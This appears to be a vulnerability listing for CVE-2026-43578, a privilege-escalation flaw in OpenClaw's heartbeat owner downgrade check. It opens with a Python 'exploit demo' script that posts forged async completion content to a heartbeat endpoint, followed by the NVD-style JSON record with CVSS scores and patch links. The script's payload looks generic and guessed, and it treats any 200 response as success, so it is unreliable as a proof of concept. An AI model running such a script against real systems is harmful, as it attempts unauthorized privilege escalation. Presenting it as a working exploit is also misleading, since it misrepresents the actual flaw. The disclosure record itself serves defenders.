CVE-2026-43578

import requests import json # Exploit Demo for CVE-2026-43578 # Simulates sending untrusted completion content to bypass privilege downgrade. def trigger_exploit(target_url): # Malicious payload designed to bypass heartbeat owner downgrade check payload = { "async_id": "local_bg_exec_123", "status": "complete", "data": "untrusted_completion_content" } headers = {'Content-Type': 'application/json'} try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Potential exploit success. High privileges maintained.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "http://vulnerable-openclaw/api/heartbeat/complete" trigger_exploit(target)

{"cve": {"id": "CVE-2026-43578", "sourceIdentifier": "[email protected]", "published": "2026-05-06T20:16:33.510", "lastModified": "2026-05-07T17:04:24.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions 2026.3.31 before 2026.4.10 contain a privilege escalation vulnerability where heartbeat owner downgrade detection misses local background async exec completion events. Attackers can exploit this by providing untrusted completion content to leave a run in a more privileged context than intended."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2026.3.31", "versionEndExcluding": "2026.4.10", "matchCriteriaId": "E55F5016-DED3-45C9-B969-18CF696B6272"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/19a2e9ddb5a8a494abcba812bb11f51075026a27", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g375-h3v6-4873", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-privilege-escalation-via-missed-async-exec-completion-events-in-heartbeat-owner-downgrade", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}